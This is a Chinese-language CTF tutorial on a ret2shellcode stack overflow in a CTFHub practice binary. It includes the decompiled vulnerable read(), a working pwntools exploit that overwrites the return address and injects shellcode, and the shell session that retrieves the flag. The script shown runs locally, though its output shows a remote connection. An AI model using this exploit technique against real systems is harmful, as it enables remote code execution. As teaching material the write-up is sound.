栈溢出——ret2shellcode

5年前

前言

上篇文章中我们讲解了ROP的简单使用,这篇我们继续学习ROP的使用。本篇还涉及一个新知识点,就是shellcode。ret2shellcode代表返回到shellcode中即控制函数的返回地址到预先设定好的可读写区域中去执行shellcode代码。

shellcode是一段可执行攻击的机器码,一般利用pwntools直接生成。也有多种利用方式,详细查看大佬博文

工具准备

IDA、DBG、pwndbg、peda、pwntools

例题描述(ctfhub技能树 ret2shellcode )

nc challenge-2402cf6d104cabfd.sandbox.ctfhub.com 23767
附件:pwn

ROP过程

问题分析

下载附件,解压查看基本信息。

root@192:/home/cjm/桌面# file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=94500626298378cae494e018a28e70c1a187d603, not stripped

发现是个64位的elf文件 。

然后我们检查它的保护机制 。

gdb-peda$ checksec pwn
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

发现安全措施都没有开启。我们把它放进IDA中,按F5进行反编译,看看main函数的源代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[0] = 0LL;
  buf[1] = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to CTFHub ret2shellcode!");
  printf("What is it : [%p] ?\n", buf);
  puts("Input someting : ");
  read(0, buf, 0x400uLL);
  return 0;
}

发现read()存在溢出,通过buf相对于rbp的偏移量,我们知道了shellcode可以利用的长度为0x10+8=24 ,但是因为其本身是有push指令的,如果我们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode,所以我们将其放在后面,即payload的格式为:

'a'*24+[buf_addr+32]+shellcode

这里面的32是24位覆盖地址长度+8位返回地址长度。

最后,我们只需要知道buf地址就可以了。

编写exp

from pwn import *
context.arch='amd64'
sh = process("./pwn")
buf_addr = sh.recvuntil(b"]") # 获取buf地址
sh.recvuntil(b'Input someting : ')
shell=asm(shellcraft.sh())
sh.sendline(b'a'*24 + p64(int(buf_addr[-15:-1],16)+0x20)+shell)
sh.interactive()

执行获得shell。

[x] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767
[x] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767: Trying 47.98.148.7
[+] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767: Done

[*] Switching to interactive mode

ls
bin
dev
flag
lib
lib32
lib64
pwn
cat flag
ctfhub{c6b3a8c98d78d8ad3852177b}
[*] Got EOF while reading in interactive